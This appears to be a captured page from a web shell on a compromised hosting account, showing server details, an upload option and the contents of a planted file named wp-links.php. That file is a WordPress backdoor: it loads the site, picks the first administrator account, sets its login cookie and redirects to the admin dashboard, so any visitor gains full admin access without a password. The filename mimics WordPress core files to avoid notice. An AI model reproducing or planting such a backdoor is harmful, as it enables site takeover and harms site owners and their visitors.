SCHWEIS
Server: LiteSpeed
System: Linux server252.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: corofmbe (1985)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/corofmbe/public_html/wp-links.php
<?php
$mr=$_SERVER['DOCUMENT_ROOT'];
@chdir($mr);
if (file_exists('wp-load.php')){
  include 'wp-load.php';
  $wp_user_query = new WP_User_Query( array( 'role' => 'Administrator', 'number' => 1, 'fields' => 'ID' ) );
  $results= $wp_user_query->get_results();

  if ( isset( $results[0] ) ) {
    wp_set_auth_cookie( $results[0] );
    wp_redirect( admin_url() );
    die();
  }
  die( 'NO ADMIN' );

}
else{
  die('Failed to load');
}

?>